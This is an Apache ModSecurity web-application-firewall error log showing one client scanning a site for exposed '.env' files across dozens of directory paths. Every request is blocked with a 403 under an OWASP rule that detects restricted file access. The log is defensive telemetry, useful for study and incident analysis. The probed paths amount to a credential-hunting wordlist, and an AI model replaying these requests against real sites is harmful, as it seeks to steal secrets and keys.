[Sun Oct 25 13:42:08.501184 2026] [security2:error] [pid 2867890:tid 2867890] [client 35.203.118.101:50026] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/ml/.env"] [unique_id "at4_cJkDGkILNr0EMn3BZAAAACw"]
[Sun Oct 25 13:42:08.501439 2026] [security2:error] [pid 2867890:tid 2867890] [client 35.203.118.101:50026] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/ml/.env"] [unique_id "at4_cJkDGkILNr0EMn3BZAAAACw"]
[Sun Oct 25 13:42:08.502446 2026] [security2:error] [pid 2867836:tid 2867836] [client 35.203.118.101:49960] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /model/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/model/.env"] [unique_id "at4_cEnqvEndZSiuRU5OoQAAAA8"]
[Sun Oct 25 13:42:08.502589 2026] [security2:error] [pid 2867836:tid 2867836] [client 35.203.118.101:49960] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/model/.env"] [unique_id "at4_cEnqvEndZSiuRU5OoQAAAA8"]
[Sun Oct 25 13:42:08.502816 2026] [security2:error] [pid 2867836:tid 2867836] [client 35.203.118.101:49960] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/model/.env"] [unique_id "at4_cEnqvEndZSiuRU5OoQAAAA8"]
[Sun Oct 25 13:42:08.503856 2026] [security2:error] [pid 2872979:tid 2872979] [client 35.203.118.101:49994] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /data/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/data/.env"] [unique_id "at4_cORnh_MPFutbQ4Jk7gAAAAE"]
[Sun Oct 25 13:42:08.504017 2026] [security2:error] [pid 2872979:tid 2872979] [client 35.203.118.101:49994] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/data/.env"] [unique_id "at4_cORnh_MPFutbQ4Jk7gAAAAE"]
[Sun Oct 25 13:42:08.504275 2026] [security2:error] [pid 2872979:tid 2872979] [client 35.203.118.101:49994] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/data/.env"] [unique_id "at4_cORnh_MPFutbQ4Jk7gAAAAE"]
[Sun Oct 25 13:42:08.512317 2026] [security2:error] [pid 2862822:tid 2862822] [client 35.203.118.101:49974] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /bot/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/bot/.env"] [unique_id "at4_cMsxP9Gbm0IYLGL9AwAAACI"]
[Sun Oct 25 13:42:08.512551 2026] [security2:error] [pid 2862822:tid 2862822] [client 35.203.118.101:49974] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/bot/.env"] [unique_id "at4_cMsxP9Gbm0IYLGL9AwAAACI"]
[Sun Oct 25 13:42:08.512768 2026] [security2:error] [pid 2862822:tid 2862822] [client 35.203.118.101:49974] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/bot/.env"] [unique_id "at4_cMsxP9Gbm0IYLGL9AwAAACI"]
[Sun Oct 25 13:42:08.542146 2026] [security2:error] [pid 2867834:tid 2867834] [client 35.203.118.101:50074] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /lib/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/lib/.env"] [unique_id "at4_cCjnAS4eJh-ada2MxQAAAA0"]
[Sun Oct 25 13:42:08.542343 2026] [security2:error] [pid 2867834:tid 2867834] [client 35.203.118.101:50074] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/lib/.env"] [unique_id "at4_cCjnAS4eJh-ada2MxQAAAA0"]
[Sun Oct 25 13:42:08.542671 2026] [security2:error] [pid 2867834:tid 2867834] [client 35.203.118.101:50074] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/lib/.env"] [unique_id "at4_cCjnAS4eJh-ada2MxQAAAA0"]
[Sun Oct 25 13:42:08.579743 2026] [security2:error] [pid 2867885:tid 2867885] [client 35.203.118.101:50108] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /shared/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/shared/.env"] [unique_id "at4_cHdfzIDEwjyAl3puHgAAACc"]
[Sun Oct 25 13:42:08.580004 2026] [security2:error] [pid 2867885:tid 2867885] [client 35.203.118.101:50108] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/shared/.env"] [unique_id "at4_cHdfzIDEwjyAl3puHgAAACc"]
[Sun Oct 25 13:42:08.580373 2026] [security2:error] [pid 2867885:tid 2867885] [client 35.203.118.101:50108] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/shared/.env"] [unique_id "at4_cHdfzIDEwjyAl3puHgAAACc"]
[Sun Oct 25 13:42:08.613312 2026] [security2:error] [pid 2873042:tid 2873042] [client 35.203.118.101:49986] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cmd/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/cmd/.env"] [unique_id "at4_cLc82c1J4zoyxalWTAAAAAI"]
[Sun Oct 25 13:42:08.613512 2026] [security2:error] [pid 2873042:tid 2873042] [client 35.203.118.101:49986] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/cmd/.env"] [unique_id "at4_cLc82c1J4zoyxalWTAAAAAI"]
[Sun Oct 25 13:42:08.613839 2026] [security2:error] [pid 2873042:tid 2873042] [client 35.203.118.101:49986] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/cmd/.env"] [unique_id "at4_cLc82c1J4zoyxalWTAAAAAI"]
[Sun Oct 25 13:42:08.615989 2026] [security2:error] [pid 2867834:tid 2867834] [client 35.203.118.101:50074] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /common/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/common/.env"] [unique_id "at4_cCjnAS4eJh-ada2MxgAAAA0"]
[Sun Oct 25 13:42:08.616155 2026] [security2:error] [pid 2867834:tid 2867834] [client 35.203.118.101:50074] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/common/.env"] [unique_id "at4_cCjnAS4eJh-ada2MxgAAAA0"]
[Sun Oct 25 13:42:08.616377 2026] [security2:error] [pid 2867834:tid 2867834] [client 35.203.118.101:50074] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/common/.env"] [unique_id "at4_cCjnAS4eJh-ada2MxgAAAA0"]
[Sun Oct 25 13:42:08.619522 2026] [security2:error] [pid 2867836:tid 2867836] [client 35.203.118.101:49960] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /internal/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/internal/.env"] [unique_id "at4_cEnqvEndZSiuRU5OogAAAA8"]
[Sun Oct 25 13:42:08.619691 2026] [security2:error] [pid 2867836:tid 2867836] [client 35.203.118.101:49960] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/internal/.env"] [unique_id "at4_cEnqvEndZSiuRU5OogAAAA8"]
[Sun Oct 25 13:42:08.619936 2026] [security2:error] [pid 2867836:tid 2867836] [client 35.203.118.101:49960] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/internal/.env"] [unique_id "at4_cEnqvEndZSiuRU5OogAAAA8"]
[Sun Oct 25 13:42:08.635299 2026] [security2:error] [pid 2867876:tid 2867876] [client 35.203.118.101:49976] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /pkg/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/pkg/.env"] [unique_id "at4_cFMGGelIHqGysXAaugAAAB8"]
[Sun Oct 25 13:42:08.635451 2026] [security2:error] [pid 2867876:tid 2867876] [client 35.203.118.101:49976] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/pkg/.env"] [unique_id "at4_cFMGGelIHqGysXAaugAAAB8"]
[Sun Oct 25 13:42:08.635724 2026] [security2:error] [pid 2867876:tid 2867876] [client 35.203.118.101:49976] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/pkg/.env"] [unique_id "at4_cFMGGelIHqGysXAaugAAAB8"]
[Sun Oct 25 13:42:08.663984 2026] [security2:error] [pid 2870916:tid 2870916] [client 35.203.118.101:49948] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /utils/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/utils/.env"] [unique_id "at4_cPwFw76qlSfceadvMAAAAAA"]
[Sun Oct 25 13:42:08.664199 2026] [security2:error] [pid 2870916:tid 2870916] [client 35.203.118.101:49948] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/utils/.env"] [unique_id "at4_cPwFw76qlSfceadvMAAAAAA"]
[Sun Oct 25 13:42:08.664500 2026] [security2:error] [pid 2870916:tid 2870916] [client 35.203.118.101:49948] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/utils/.env"] [unique_id "at4_cPwFw76qlSfceadvMAAAAAA"]
[Sun Oct 25 13:42:08.688609 2026] [security2:error] [pid 2862773:tid 2862773] [client 35.203.118.101:50080] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /portal/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/portal/.env"] [unique_id "at4_cFY5e6yJWIYGXiqDpAAAAAk"]
[Sun Oct 25 13:42:08.688856 2026] [security2:error] [pid 2862773:tid 2862773] [client 35.203.118.101:50080] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/portal/.env"] [unique_id "at4_cFY5e6yJWIYGXiqDpAAAAAk"]
[Sun Oct 25 13:42:08.689214 2026] [security2:error] [pid 2862773:tid 2862773] [client 35.203.118.101:50080] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/portal/.env"] [unique_id "at4_cFY5e6yJWIYGXiqDpAAAAAk"]
[Sun Oct 25 13:42:08.700496 2026] [security2:error] [pid 2867890:tid 2867890] [client 35.203.118.101:50026] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /dashboard/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/dashboard/.env"] [unique_id "at4_cJkDGkILNr0EMn3BZQAAACw"]
[Sun Oct 25 13:42:08.702880 2026] [security2:error] [pid 2867890:tid 2867890] [client 35.203.118.101:50026] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/dashboard/.env"] [unique_id "at4_cJkDGkILNr0EMn3BZQAAACw"]
[Sun Oct 25 13:42:08.703139 2026] [security2:error] [pid 2867890:tid 2867890] [client 35.203.118.101:50026] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/dashboard/.env"] [unique_id "at4_cJkDGkILNr0EMn3BZQAAACw"]
[Sun Oct 25 13:42:08.701247 2026] [security2:error] [pid 2862822:tid 2862822] [client 35.203.118.101:49974] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /panel/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/panel/.env"] [unique_id "at4_cMsxP9Gbm0IYLGL9BAAAACI"]
